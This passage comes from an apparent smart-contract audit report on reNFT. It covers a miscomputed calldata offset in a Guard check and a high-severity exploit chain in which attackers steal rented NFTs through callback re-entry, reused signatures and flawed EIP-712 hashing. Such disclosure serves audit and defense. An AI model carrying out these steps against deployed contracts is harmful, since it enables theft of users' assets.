Let’s break down the value of the gnosis_safe_disable_module_offset constant (0x24): 0x24 == 36 == 32 (the calldata’s array length) + 4 (the function selector)

As you can see, the gnosis_safe_disable_module_offset was incorrectly specified to point at the prevModule param (1st param) instead of the module param (2nd param) that refers to the module expected to be removed.

    // FILE: https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/interfaces/ISafe.sol
    /**
     * @notice Disables the module `module` for the Safe.
     *
     * @dev This can only be done via a Safe transaction.
     *
@3   * @param prevModule Previous module in the modules linked list.
@3   * @param module     Module to be removed.
     */
@3  function disableModule(address prevModule, address module) external; //@audit -- The memory offset must point at the second param because it would be the module to be removed

With the incorrect gnosis_safe_disable_module_offset constant, once the Guard::_checkTransaction() is triggered to verify the safe transaction containing a call to the safe’s disableModule(), the address of the prevModule contract will be extracted and assigned to the extension variable instead of the module contract’s.

Consequently, the address of the prevModule contract will be verified for the whitelist by the Guard::_revertNonWhitelistedExtension() instead of the expected module contract address.

    // FILE: https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Guard.sol
    function _checkTransaction(address from, address to, bytes memory data) private view {
        bytes4 selector;

        // Load in the function selector.
        assembly {
            selector := mload(add(data, 0x20))
        }

        ... // some if-else cases
        
@4      } else if (selector == gnosis_safe_disable_module_selector) { //@audit -- Check for calls to the disableModule() initiated from Safe contracts
            // Load the extension address from calldata.
            address extension = address(
                uint160(
                    uint256(
@5                      _loadValueFromCalldata(data, gnosis_safe_disable_module_offset) //@audit -- Since the gnosis_safe_disable_module_offset constant points at the incorrect param (i.e., prevModule), the extension variable will contain an address of the prevModule
                    )
                )
            );

            // Check if the extension is whitelisted.
@6          _revertNonWhitelistedExtension(extension); //@audit -- The address of the prevModule will be checked for the whitelist instead of the expected module to be removed
        } 

        ... // else case
    }

Besides, I also noticed that the developer also assumed that the disableModule() would have one function parameter while writing the test functions: test_Success_CheckTransaction_Gnosis_DisableModule() and test_Reverts_CheckTransaction_Gnosis_DisableModule().

That can confirm why the test functions cannot catch up with the mistake.

    // FILE: https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/test/unit/Guard/CheckTransaction.t.sol
    function test_Success_CheckTransaction_Gnosis_DisableModule() public {
        // impersonate the admin policy admin
        vm.prank(deployer.addr);

        // enable this address to be added as a module by rental safes
        admin.toggleWhitelistExtension(address(mockTarget), true);

        // Build up the `disableModule(address)` calldata
        bytes memory disableModuleCalldata = abi.encodeWithSelector(
            gnosis_safe_disable_module_selector,
@7          address(mockTarget) //@audit -- In the test function: test_Success_CheckTransaction_Gnosis_DisableModule(), the developer assumed that the disableModule() would have one param (incorrect!!)
        );

        // Check the transaction
        _checkTransaction(address(this), address(mockTarget), disableModuleCalldata);
    }

    ...

    function test_Reverts_CheckTransaction_Gnosis_DisableModule() public {
        // Build up the `disableModule(address)` calldata
        bytes memory disableModuleCalldata = abi.encodeWithSelector(
            gnosis_safe_disable_module_selector,
@8          address(mockTarget) //@audit -- Also in the test function: test_Reverts_CheckTransaction_Gnosis_DisableModule(), the developer assumed that the disableModule() would have one param (incorrect!!)
        );

        // Expect revert because of an unauthorized extension
        _checkTransactionRevertUnauthorizedExtension(
            address(this),
            address(mockTarget),
            disableModuleCalldata
        );
    }

To point the memory offset at the module param (2nd param), the gnosis_safe_disable_module_offset constant must be set to 0x44 (0x44 == 68 == 32 (the calldata’s array length) + 4 (the function selector) + 32 (1st param)).

    // FILE: https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/libraries/RentalConstants.sol

    /////////////////////////////////////////////////////////////////////////////////
    //                  Gnosis Safe Function Selectors And Offsets                 //
    /////////////////////////////////////////////////////////////////////////////////

    ...

    // bytes4(keccak256("disableModule(address,address)"));
    bytes4 constant gnosis_safe_disable_module_selector = 0xe009cfde;

    ...

-   uint256 constant gnosis_safe_disable_module_offset = 0x24;
+   uint256 constant gnosis_safe_disable_module_offset = 0x44;

Alec1017 (reNFT) confirmed and commented:

PoC confirmed!

Note: To see full discussion, see here.

reNFT mitigated:

The PR here - Fixes offset value so that the proper address is checked when disabling a gnosis module from a safe.

Status: Mitigation confirmed. Full details in reports from juancito, EV_om and sin1st3r__.


[H-05] Malicious actor can steal any actively rented NFT and freeze the rental payments (of the affected rentals) in the escrow contract

Submitted by JCN, also found by trachev, serial-coder, zzzitron (1, 2), hash, rbserver, fnanni, juancito, Qkite (1, 2, 3), KupiaSec, krikolkk, zach, 0xpiken, kaden (1, 2), ravikiranweb3, J4X, rvierdiiev, Krace, Audinarey, Aymen0909, 0xDING99YA, Ward, DanielArmstrong (1, 2), evmboi32, AkshaySrivastav, and ABAIKUNANBAEV

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Stop.sol#L265-L302

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Stop.sol#L313-L363

The main exploit presented in this report takes advantage of multiple bugs. Some of these bugs on their own can be viewed as having their own “lesser” impacts. However, this report can be considered as my demonstration of the greatest impact for all the bugs described below:

  1. The stopRent/stopRentBatch functions do not validate the existence of the supplied RentalOrder until after the lender is sent the specified NFT. Therefore, a non-existent RentalOrder can be supplied and then created during the callback to the lender (onERC721Received/onERC1155Received). (Successful exploitation of this bug is dependent on the other bugs below)
  2. The signature digest signed by the protocol signer is predictable and not necessarily unique to a specific order. Therefore, a generic signature can be retrieved from theoretically any order (via the front-end) and can then be used arbitrarily (for multiple fulfillments) until metadata.expiration > block.timestamp. This enables the above bug to be utilized, as a required signature is able to be retrieved beforehand so that the order creation and fulfillment process can be executed atomically for multiple orders. (Successful exploitation of this bug is not dependent on the other bugs mentioned)
  3. Several core functions in Signer.sol are not compliant with EIP-712. This can be leveraged with the above bugs to obtain a valid signature and use this signature with multiple orders that have different metadata.orderType values. This also allows arbitrary safe wallet addresses to be included in the RentalOrder struct supplied to the stop functions. (Successful exploitation of this bug is not dependent on the other bugs mentioned)

Combined, the above vulnerabilities allow the theft and freezing of any and/or all NFTs currently being rented out (active or expired, as long as the rental has not been stopped). The rental payments for the affected rentals will also be frozen in the escrow contract. The outline of this Bug Description section will be as follows:

  1. The main exploit path will be discussed
  2. Prerequisites for the main exploit will be discussed
  3. Lesser, independently achievable, impacts of the independent vulnerabilities (2 & 3) will be briefly explained

Main exploit path

In order to thoroughly detail this exploit path I will provide my explanation as a means to prove that the following actions are possible:

  • A non existent RentalOrder can be passed into a stop function and pass validation. The only requirement for this exploit is that the RentalOrder.orderType specifies a PAY order and msg.sender == RentalOrder.lender.
  • The only fields in this RentalOrder that pertain to the rental order (rented NFT) being exploited are the RentalOrder.items and RentalOrder.rentalWallet fields. The items field will specify the rented NFT that the rentalWallet (victim) curently owns. All other fields can differ.
  • This non existent RentalOrder can be created and fulfilled during the reclamation process in which the rented NFT gets transferred from the rentalWallet (victim) to the RentalOrder.lender (specified by exploiter). This can be done during the onERC721Received/onERC1155Received callback to the RentalOrder.lender. Note that during the creation and fulfillment process we will specify our attacker safe as the RentPayload.fulfillment so that our attacker safe will receive the stolen NFT specified in the items field.
  • Once the RentalOrder has been created in storage, the next state-modifying settlePayment and removeRentals function calls will succeed. The first call will result in the RentalOrder.lender receiving back the ERC20 token payment specified in this RentalOrder, and the second call will remove this newly created RentalOrder from storage.
  • During the removeRentals call the computed orderHash (this is used to identify a specific rental order) does not take into account the RentalOrder.rentalWallet. Therefore, this allowed us to supply the victim’s safe wallet instead of our attacker safe in the stop function calls and ultimately produce the necessary orderHash that corresponds to our newly created RentalOrder.

When a rental is stopped the stopRent function is invoked (the stopRentBatch function can also be used and has similar functionality). A RentalOrder struct is supplied to this function and the only validation for this struct is performed in the _validateRentalCanBeStoped internal function on line 267 of Stop::stopRent:

Stop::stopRent#L265-L267

265:    function stopRent(RentalOrder calldata order) external {
266:        // Check that the rental can be stopped.
267:        _validateRentalCanBeStoped(order.orderType, order.endTimestamp, order.lender);

Stop::_validateRentalCanBeStoped#L126-L154

126:    function _validateRentalCanBeStoped(
127:        OrderType orderType,
128:        uint256 endTimestamp,
129:        address expectedLender
130:    ) internal view {
131:        // Determine if the order has expired.
132:        bool hasExpired = endTimestamp <= block.timestamp;
133:
134:        // Determine if the fulfiller is the lender of the order.
135:        bool isLender = expectedLender == msg.sender;
136:
137:        // BASE orders processing.
138:        if (orderType.isBaseOrder()) {
139:            // check that the period for the rental order has expired.
140:            if (!hasExpired) {
141:                revert Errors.StopPolicy_CannotStopOrder(block.timestamp, msg.sender);
142:            }
143:        }
144:        // PAY order processing.
145:        else if (orderType.isPayOrder()) {
146:            // If the stopper is the lender, then it doesnt matter whether the rental
147:            // has expired. But if the stopper is not the lender, then the rental must have expired.
148:            if (!isLender && (!hasExpired)) {
149:                revert Errors.StopPolicy_CannotStopOrder(block.timestamp, msg.sender);
150:            }
151:        }
152:        // Revert if given an invalid order type.
153:        else {
154:            revert Errors.Shared_OrderTypeNotSupported(uint8(orderType));

As we can see above, only the orderType, endTimestamp, and lender fields of the RentalOrder struct are used in order to validate whether or not a rental order can be stoppped. If a non-existent RentalOrder is supplied to the stopRent function, this check will pass if the orderType is a PAY order and the msg.sender for this call is the lender.

Next, a rentalAssetUpdates bytes array is constructed with respect to the NFTs specified in the RentalOrder.items field and the safe wallet specified in the RentalOrder.rentalWallet field. This rentalAssetsUpdate array contains information that ties together the rentalWallet and items fields supplied and is used to update storage when the RentalOrder is finally stopped (removed from storage).

Stop::stopRent#L272-L282

272:        bytes memory rentalAssetUpdates = new bytes(0);
273:
274:        // Check if each item in the order is a rental. If so, then generate the rental asset update.
275:        // Memory will become safe again after this block.
276:        for (uint256 i; i < order.items.length; ++i) {
277:            if (order.items[i].isRental()) { // @audit: `items[i]` has information regarding the NFT we wish to steal
278:                // Insert the rental asset update into the dynamic array.
279:                _insert(
280:                    rentalAssetUpdates,
281:                    order.items[i].toRentalId(order.rentalWallet), // @audit: `rentalWallet` is the victim (holds NFT)
282:                    order.items[i].amount

Note that the information in the rentalAssetsUpdates pertains to the rental order (rented NFT) that we are exploiting. No validation or state changes occur during this construction and therefore the execution continues to line 288:

Stop::stopRent#L288-L290

288:        if (order.hooks.length > 0) {
289:            _removeHooks(order.hooks, order.items, order.rentalWallet);
290:        }

The above lines of code are simple to bypass. If our supplied RentalOrder does not specify hooks, then the code on lines 288 - 290 will be skipped.

Next, the reclamation process is initiated:

Stop::stopRent#L292-L293

292:        // Interaction: Transfer rentals from the renter back to lender.
293:        _reclaimRentedItems(order);

Stop::_reclaimRentedItem#L166-L177

166:    function _reclaimRentedItems(RentalOrder memory order) internal {
167:        // Transfer ERC721s from the renter back to lender.
168:        bool success = ISafe(order.rentalWallet).execTransactionFromModule( // audit: perform call to victim
169:            // Stop policy inherits the reclaimer package.
170:            address(this),
171:            // value.
172:            0,
173:            // The encoded call to the `reclaimRentalOrder` function.
174:            abi.encodeWithSelector(this.reclaimRentalOrder.selector, order),
175:            // Safe must delegate call to the stop policy so that it is the msg.sender.
176:            Enum.Operation.DelegateCall 
177:        );

The above code will initiate a delegate call via the RentalOrder.rentalWallet (victim). This call will invoke the following code:

Reclaimer::reclaimRentalOrder#L89-L99

89:        // Transfer each item if it is a rented asset.
90:        for (uint256 i = 0; i < itemCount; ++i) {
91:            Item memory item = rentalOrder.items[i]; 
92:
93:            // Check if the item is an ERC721.
94:            if (item.itemType == ItemType.ERC721) // @audit: `item` points to targetted NFT
95:                _transferERC721(item, rentalOrder.lender); // @audit: `lender` is defined by exploiter
96:
97:            // check if the item is an ERC1155.
98:            if (item.itemType == ItemType.ERC1155) 
99:                _transferERC1155(item, rentalOrder.lender); 

Reclaimer.sol#L32-L49

32:    function _transferERC721(Item memory item, address recipient) private {
33:        IERC721(item.token).safeTransferFrom(address(this), recipient, item.identifier); // @audit: transferring NFT from victim safe to `lender`
34:    }
35:
36:    /**
37:     * @dev Helper function to transfer an ERC1155 token.
38:     *
39:     * @param item      Item which will be transferred.
40:     * @param recipient Address which will receive the token.
41:     */
42:    function _transferERC1155(Item memory item, address recipient) private {
43:        IERC1155(item.token).safeTransferFrom(
44:            address(this), // @audit: delegate call, so address(this) == victim safe
45:            recipient, // @audit: recipient is `lender`
46:            item.identifier, // @audit: tokenId of target NFT
47:            item.amount, // @audit: amount of target NFT
48:            ""
49:        );

As we can see above, the reclaimRentalOrder function will be invoked by the RentalOrder.rentalWallet via a delegate call and this will result in the target NFT being transferred out of the victim safe and to our specified lender address.

For this exploit, the lender address supplied will be a contract (attackerContract) and therefore a onERC721Received/onERC1155Received callback will be performed via this contract. During this callback, the order that will correspond to the supplied RentalOrder (currently non-existent) will be created and fulfilled. Here is a brief description of the steps that occur during this callback:

  1. The attackerContract creates an on-chain PAY order (acting as lender). This order specifies the stolen NFT as the NFT to rent out.
  2. The attackerContract creates a complimentary on-chain PAYEE order (acting as renter). This order mirrors the PAY order previously created.
  3. The attackerContract fulfills the orders via Seaport::matchAdvancedOrders (acting as renter). Note that this will require a server-side signature to be retrieved beforehand. I will explain this further, along with other prerequisites for this exploit, in a later section.
  4. The end result is that the stolen NFT has been sent to our specified attacker safe and our attackerContract has sent x amount of ERC20 tokens to the escrow contract for this rental order. (x can be as little as 1 wei). Our newly created RentalOrder is then hashed and recorded in storage.

During our callback the Create::validateOrder function will be called by Seaport for our specified PAY order (this will also occur for our complimentary PAYEE order, but the PAYEE call does not result in any state changes). During this call the RentalOrder for our newly created order will be constructed and then the hash of that RentalOrder will be stored in storage, indicating an active rental:

Create::_rentFromZone#L579-L595

579:            RentalOrder memory order = RentalOrder({
580:                seaportOrderHash: seaportPayload.orderHash,
581:                items: items,
582:                hooks: payload.metadata.hooks,
583:                orderType: payload.metadata.orderType,
584:                lender: seaportPayload.offerer,
585:                renter: payload.intendedFulfiller,
586:                rentalWallet: payload.fulfillment.recipient,
587:                startTimestamp: block.timestamp,
588:                endTimestamp: block.timestamp + payload.metadata.rentDuration
589:            });
590:
591:            // Compute the order hash.
592:            bytes32 orderHash = _deriveRentalOrderHash(order);
593:
594:            // Interaction: Update storage only if the order is a Base Order or Pay order.
595:            STORE.addRentals(orderHash, _convertToStatic(rentalAssetUpdates));

The above code shows how the RentalOrder is constructed. Notice that the RentalOrder struct contains a rentalWallet field. This struct is then passed into the _deriveRentalOrderHash function in order to derive the orderHash. The orderHash is then stored in storage via the Storage::addRentals call on line 595. Lets observe how this orderHash is computed:

Signer::_deriveRentalOrderHash#L181-L193

181:        return
182:            keccak256(
183:                abi.encode(
184:                    _RENTAL_ORDER_TYPEHASH,
185:                    order.seaportOrderHash,
186:                    keccak256(abi.encodePacked(itemHashes)),
187:                    keccak256(abi.encodePacked(hookHashes)),
188:                    order.orderType,
189:                    order.lender,
190:                    order.renter, // @audit: rentalWallet field should be below this line
191:                    order.startTimestamp,
192:                    order.endTimestamp
193:                )

According to the above code, the RentalOrder.rentalWallet field is not considered when creating the EIP-712 hash for the RentalOrder struct. Therefore, the RentalOrder.rentalWallet can be any address and the _deriveRentalOrderHash will produce a “correct” orderHash as long as all other fields pertain to an actual active order.

After the actions in the callback are performed, execution in the stopRent function continues to line 296:

Stop::stopRent#L295-L296

295:        // Interaction: Transfer ERC20 payments from the escrow contract to the respective recipients.
296:        ESCRW.settlePayment(order);

PaymentEscrow::settlePayment#L320-L329

320:    function settlePayment(RentalOrder calldata order) external onlyByProxy permissioned {
321:        // Settle all payments for the order.
322:        _settlePayment( // @audit: all order fields pertain to our newly created rental order, no issues here
323:            order.items,
324:            order.orderType,
325:            order.lender,
326:            order.renter,
327:            order.startTimestamp,
328:            order.endTimestamp
329:        );

As we can see above, all the fields of the RentalOrder supplied, that are used in the _settlePayment function, pertain to our newly created RentalOrder. Remember, the only field that does not pertain to this new order is the RentalOrder.rentalWallet field, which points to the victim safe that was the previous owner of the stolen NFT. Therefore, execution in this function call will continue as expected for any PAY order: the lender and renter willl receive their pro-rata share of the rental payment that was sent to this escrow contract during fulfillment. Reminder: the attackerContract is both the lender and renter for this new order.

Finally, the RentalOrder supplied will be removed from storage:

Stop::stopRent#L299-L302

299:        STORE.removeRentals(
300:            _deriveRentalOrderHash(order), // @audit: returns "correct" orderHash for our newly created RentalOrder
301:            _convertToStatic(rentalAssetUpdates) // @audit: pertains to the victim's safe wallet + NFT
302:        );

First, the orderHash for the supplied RentalOrder is retrieved via the _deriveRentalOrderHash internal function. As mentioned previously, the RentalOrder.rentalWallet is ignored when computing the orderHash and therefore the computed orderHash will correctly pertain to our newly created order (this is despite the fact that the supplied RentalOrder.rentalWallet points to the victim safe and not our attacker safe).

The _convertToStatic internal function on line 301 of Stop::stopRent will simply create a RentalAssetUpdate[] array which contains a rentalId that pertains the the victim safe and details of the target NFT.

The Storage::removeRentals function will then be called:

Storage::removeRentals#L216-L233

216:    function removeRentals(
217:        bytes32 orderHash, // @audit: orderHash for our newly created order
218:        RentalAssetUpdate[] calldata rentalAssetUpdates
219:    ) external onlyByProxy permissioned {
220:        // The order must exist to be deleted.
221:        if (!orders[orderHash]) { // @audit: orderHash was stored during callback
222:            revert Errors.StorageModule_OrderDoesNotExist(orderHash);
223:        } else {
224:            // Delete the order from storage.
225:            delete orders[orderHash]; // @audit: our order is removed from storage (stopped)
226:        }
227:
228:        // Process each rental asset.
229:        for (uint256 i = 0; i < rentalAssetUpdates.length; ++i) {
230:            RentalAssetUpdate memory asset = rentalAssetUpdates[i];
231:
232:            // Reduce the amount of tokens for the particular rental ID.
233:            rentedAssets[asset.rentalId] -= asset.amount; // @audit: storage update for victim's `rentalId`

As we can see above, our orderHash is removed from storage on line 225. And the state update on line 233 only pertains to the victim’s rental order. Note: When the victim’s rental order was created the rentedAssets[asset.rentalId] was incremented by asset.amount and here the mapping is simply being decremented by asset.amount. The attacker safe is now the owner of the target NFT. Since the orderHash corresponding to the RentalOrder, that the attackerContract created, was removed from storage during this call to stopRent, the stolen NFT will remain frozen in the attacker safe (only rentals with an orderHash stored in storage can be stopped). In addition, the rental payment for the exploited RentalOrder will remain frozen in the escrow contract since that rental order can also not be stopped. This is due to the fact that the affected order’s safe wallet no longer owns the NFT. Thus, the reclamation process will fail when the NFT is attempted to be transferred out of the safe wallet (the attacker safe is now the owner of these NFT). A malicious actor is able to perform this exploit to steal and affect multiple NFTs (and their respective rental orders) by utilizing the stopRentBatch function.

Prerequisites for the main exploit

Now I will discuss the prerequisites for this exploit. The first being that our attackerContract will require a valid server-side signature in order to fulfill the PAY and PAYEE orders created during the callback. Note: PAY orders require the fulfiller to also create a complimentary PAYEE order. The fulfiller is then expected to receive signatures for both of these orders and supply them together to the Seaport::matchAdvancedOrders function in order to fulfill both the PAY and PAYEE orders. Let us observe the digest that the server-side signer signs in order to create a valid signature:

Create::validateOrder#L759-L763

759:        // Recover the signer from the payload.
760:        address signer = _recoverSignerFromPayload(
761:            _deriveRentPayloadHash(payload),
762:            signature
763:        );

Line 761 will return the digest and then the _recoverSignerFromPayload internal function will recover the signing address via the digest and the supplied signature. Zooming in on the _deriveRentPayloadHash function we will observe that this should return the EIP-712 hash of the RentPayload struct.

Signer::_deriveRentPayloadHash#L248-L260

248:    function _deriveRentPayloadHash(
249:        RentPayload memory payload
250:    ) internal view returns (bytes32) {
251:        // Derive and return the rent payload hash as specified by EIP-712.
252:        return
253:            keccak256(
254:                abi.encode(
255:                    _RENT_PAYLOAD_TYPEHASH,
256:                    _deriveOrderFulfillmentHash(payload.fulfillment),
257:                    _deriveOrderMetadataHash(payload.metadata),
258:                    payload.expiration,
259:                    payload.intendedFulfiller
260:                )

Below is the RentPayload struct:

RentalStructs.sol#L154-L159

154:    struct RentPayload {
155:        OrderFulfillment fulfillment; // @audit: safe wallet specified by fulfiller during signing
156:        OrderMetadata metadata; // @audit: generic information pertaining to a rental
157:        uint256 expiration; // @audit: defined during signing
158:        address intendedFulfiller; // @audit: renter/fulfiller specified by fulfiller during signing
159:    }

However, we will notice that the derived hash of the OrderMetadata struct computed in the _deriveOrderMetadataHash internal function is not EIP-712 compliant:

Signer::_deriveOrderMetadataHash#L218-L237

218:    function _deriveOrderMetadataHash(
219:        OrderMetadata memory metadata
220:    ) internal view returns (bytes32) {
221:        // Create array for hooks.
222:        bytes32[] memory hookHashes = new bytes32[](metadata.hooks.length);
223:
224:        // Iterate over each hook.
225:        for (uint256 i = 0; i < metadata.hooks.length; ++i) {
226:            // Hash the hook
227:            hookHashes[i] = _deriveHookHash(metadata.hooks[i]);
228:        }
229:
230:        // Derive and return the metadata hash as specified by EIP-712.
231:        return
232:            keccak256(
233:                abi.encode(
234:                    _ORDER_METADATA_TYPEHASH,
235:                    metadata.rentDuration,
236:                    keccak256(abi.encodePacked(hookHashes))
237:                )

Below is the OrderMetadata struct:

RentalStructs.sol#L50-L59

50:    struct OrderMetadata {
51:        // Type of order being created.
52:        OrderType orderType; // @audit: not included in derived nEIP-721 hash
53:        // Duration of the rental in seconds.
54:        uint256 rentDuration;
55:        // Hooks that will act as middleware for the items in the order.
56:        Hook[] hooks;
57:        // Any extra data to be emitted upon order fulfillment.
58:        bytes emittedExtraData; // @audit: not included in derived EIP-721 hash
59:    }

As we can see above, the orderType and emittedExtraData fields are not considered when deriving the EIP-712 hash for the OrderMetadata struct. Since this OrderMetadata struct is present in the RentPayload struct, which is used as the signature digest, then the orderType can be changed and the derivation of the RentPayload EIP-712 hash will be “correct” (as long as the rentDuration and hooks fields are the correct). In addition, we will also notice that the OrderMetadata struct contains the only information in this digest that pertains to the order that the fulfiller is signing. Specifically, only the rentDuration and the hooks will be considered. The other fields in the RentPayload struct are supplied and therefore defined via the front-end when the signature is being created.

It is important to note that when a PAY order is stopped (via one of the stop functions), the endTimestamp (which is dependent on the rentDuration) is not considered when the lender is the one stopping the order (when lender == msg.sender). Since our main exploit requires that our attackerContract atomically creates and fulfills a PAY/PAYEE order, the rentDuration ultimately does not matter since our attackerContract is the lender and will be calling the stopRent function directly (attackerContract == lender == msg.sender). Therefore, the only loose requirement for our main exploit is that the hooks field is empty (this is mostly for convenience and to keep the execution flow minimal). Thus, we are able to create a valid signature via the front-end by utilizing virtually any order (the orderType does not matter either since this field is not considered in the derivation of the EIP-712 hash of the OrderMetadata struct). However, you may have noticed that when creating the signature we must specify a renter as the RentPayload.intendedFulfiller and a safe wallet as the RentPayload.fulfillment. This leads us to our second prerequisite:

When an order is fulfilled the RentPayload.intendedFulfiller and the RentPayload.fulfillment fields are validated:

Create::_rentFromZone#L537-L538

537:        // Check: verify the fulfiller of the order is an owner of the recipient safe.
538:        _isValidSafeOwner(seaportPayload.fulfiller, payload.fulfillment.recipient); // @audit: fulfiller == renter, recipient == safe wallet

Create::_isValidSafeOwner#L647-L655

647:    function _isValidSafeOwner(address owner, address safe) internal view {
648:        // Make sure only protocol-deployed safes can rent.
649:        if (STORE.deployedSafes(safe) == 0) {
650:            revert Errors.CreatePolicy_InvalidRentalSafe(safe);
651:        }
652:
653:        // Make sure the fulfiller is the owner of the recipient rental safe.
654:        if (!ISafe(safe).isOwner(owner)) {
655:            revert Errors.CreatePolicy_InvalidSafeOwner(owner, safe);

As we can see above, the RentPayload.fulfillment.recipient must be a valid safe wallet deployed via the protocol and the RentPayload.fulfiller (seaportPayload.fulfiller == RentPayload.fulfiller) must be an owner of that safe wallet. Therefore, before we obtain a signature for our exploit we must first create our attackerContract, deploy a safe for our exploit (attacker safe), and ensure that our attackerContract is an owner of that safe. Fortunately, the process of deploying a safe wallet is permissionless and we are able to specify the owners that we would like to have initialized for our deployed safe:

Factory::deployRentalSafe#L138-L145

138:    function deployRentalSafe(
139:        address[] calldata owners,
140:        uint256 threshold
141:    ) external returns (address safe) {

Therefore, we can call the above function and supply our attackerContract as an owner during this function call. This will result in our attacker safe being created and our attackerContract being an owner of this safe. Then we can create a valid fulfillment signature via the front-end (using any order) and specify our attackerContract as the RentPayload.fulfiller and our attacker safe as the RentPayload.fulfillment. Now we have a valid signature that we are able to use for our exploit. Note that our exploit requires us to create a PAY order and PAY orders require a complimentary PAYEE order to be created and fulfilled as well. Therefore, we will need to provide a valid signature for our PAY order fulfillment and our PAYEE order fulfillment. As mentioned previously, since the derived EIP-712 hash of the OrderMetadata struct, that is signed by the server-side signer, does not take into account the orderType field, we are able to obtain one valid signature for our attackerContract and modify the orderType as we please to utilize it for our PAY and PAYEE orders. Performing these actions before we initiate our main exploit will result in the actions detailed above in the Main exploit path section to execute successfully.

Further description and lesser impacts of bug #2

The predictable signature digest allows some server-side restrictions to be bypassed.

Current server-side restrictions that the sponsor has identified:

  • startAmount and endAmount must be the same
  • unique salt nonce for all seaport orders
  • a sensible max rent duration
  • checks to make sure this order hasnt been canceled
  • and some standard validation checks to make sure the seaport order wont instantly revert

As explained in the previous section, the EIP-712 hash of the RentPayload is the signature digest that the server-side signer will sign and this digest + signature are then used to validate order fulfillments during the Create::validateOrder call. We have shown that the RentPayload.metadata is the only field that pertains to the specific order that is being fulfilled (all other fields in the RentPayload are supplied during the signing process via the front-end and pertain to the fulfiller). However, this metadata field contains generic details of a rental order that can possibly be similar/identical to other rental orders:

RentalStructs.sol#L50-L59

50:    struct OrderMetadata {
51:        // Type of order being created.
52:        OrderType orderType;
53:        // Duration of the rental in seconds.
54:        uint256 rentDuration;
55:        // Hooks that will act as middleware for the items in the order.
56:        Hook[] hooks;
57:        // Any extra data to be emitted upon order fulfillment.
58:        bytes emittedExtraData;
59:    }

Therefore, if a user wishes to bypass a server-side restriction (using the ones above as an example) that does not validate fields in the OrderMetadata struct, then the user can simply create a temporary order via the front-end with valid parameters, obtain a signature for that order via the front-end, cancel their initial order via Seaport::incrementCounter, create another on-chain order via Seaport::validate (using restricted parameters), and use the previously obtained signature during the fulfillment of this restricted order. This vulnerability is of lesser impact due to the fact that the impact is vague as server-side restrictions are arbitrary and can be changed, removed, added, etc…

Further description and lesser impacts of bug #3

The following functions have been identified to be non-compliant with EIP-712: the _deriveRentalOrderHash, _deriveRentPayloadHash, and the _deriveOrderMetadataHash functions. However, only the _deriveRentPayloadHash and _deriveOrderMetadataHash functions can result in 3rd party integrators being unable to properly integrate with reNFT (Medium impact). To further explain, the _deriveRentPayloadHash is used to derive the signature digest that the server-side signer signed to validate order fulfillment. At the present moment, it seems reNFT uses this function in order to derive the signature digest (Seen in their tests. Also none of their tests would pass if they derived the “correct” EIP-712 hashes). Therefore, if 3rd party integrators supply a “correct” EIP-712 digest (RentPayload hash) to the server-side signer (perhaps via an SDK), then the resulting signature will not be considered valid during the fulfillment of an order:

Create::validateOrder#L760-L763

760:        address signer = _recoverSignerFromPayload(
761:            _deriveRentPayloadHash(payload), // @audit: derives the wrong EIP-712 hash
762:            signature // @audit: signature created by signing the "correct" EIP-712 hash
763:        );

Additionally, the _deriveOrderMetadataHash function is used to compare the EIP-712 OrderMetadata hash to the OrderComponents.zoneHash. Note that the documentation defines the zoneHash as the EIP-712 hashed version of the OrderMetadatastruct. Observe the following quote from the creating-a-rental.md documentation:

The zoneHash is a hashed value of data which describes the unique values of this particular rental. After this order has been signed, a counterparty (the fulfiller) will pass the unhashed data which makes up the zone hash into the Seaport fulfillment function to prove to the protocol that both the lender and the renter of the order have agreed on the rental terms.

According to the above information, the creator of the order must also use the _deriveOrderMetadataHash to derive the “wrong” EIP-712 hash and supply this as the zoneHash when creating (signing) the seaport order. If the creator instead uses the “correct” EIP-712 hash, then the following comparison performed during order fulfillment will result in a revert:

Create::_rentFromZone#L534-L535

534:        // Check: make sure order metadata is valid with the given seaport order zone hash.
535:        _isValidOrderMetadata(payload.metadata, seaportPayload.zoneHash);

Create::_isValidOrderMetadata#L635-L637

635:        // Check that the zone hash is equal to the derived hash of the metadata.
636:        if (_deriveOrderMetadataHash(metadata) != zoneHash) { // @audit: zoneHash supplied by order creator and metadata is supplied by the fulfiller
637:            revert Errors.CreatePolicy_InvalidOrderMetadataHash();

Finally, the non-compliance of the _deriveRentalOrderHash can also result in a different high impact than the main impact described in this report. This impact can be achieved solely by exploiting this bug (not dependent on other bugs) and will allow a malicious actor to steal ERC1155 tokens (not possible for ERC721 tokens) that are actively rented, as well as freeze the rental payment of the affected RentalOrder. Since this impact only affects ERC1155 tokens and requires the exploiter to first obtain ERC1155 tokens (of equivalent and equal value) as the rental order that is being exploited, this impact is considered “lesser” than the the main impact showcased in this report (although this impact still results in the direct theft and freezing of assets and therefore I believe it would be classified as a high as well). Below is a brief description of the vulnerability:

A malicious actor will need to create a RentalOrder that has an identical RentalOrder.items field compared to the target RentalOrder that they will be exploiting. Therefore, if the target RentalOrder specifies the rental of 5 ERC1155 tokens of id == 0, then the malicious actor will have to also obtain 5 ERC1155 tokens of id == 0 and create a rental order for those tokens. The malicious actor will then call the stopRent function and supply their RentalOrder. However, they will leverage the bug inside of the _deriveRentalOrderHash internal function and modify their RentalOrder.rentalWallet field to point to the target RentalOrder.rentalWallet (the victim’s safe wallet). For simplicity we will assume that the malicious actor’s RentalOrder has expired and is therefore allowed to be stopped.

When the execution in the stopRent function reaches the reclamation process, the 5 ERC1155 tokens of id == 0 will be sent from RentalOrder.rentalWallet (victim’s safe wallet) to the malicious actor (RentalOrder.lender). Similar to the previous explanations, the settlement process will proceed as expected for any expired order. The next Storage::removeRentals call will also succeed as usual since the orderHash that is removed from storage is derived using the _deriveRentalOrderHash function and since this function does not consider the rentalWallet, the produced orderHash will correctly be associated with the malicious actor’s RentalOrder (despite the rentalWallet pointing to the victim’s safe wallet). However, the malicious RentalOrder must have the same items field as the victim’s rental order due to the fact that the items field is considered when deriving the orderHash:

Signer::_deriveRentalOrderHash#L181-L186

181:        return
182:            keccak256(
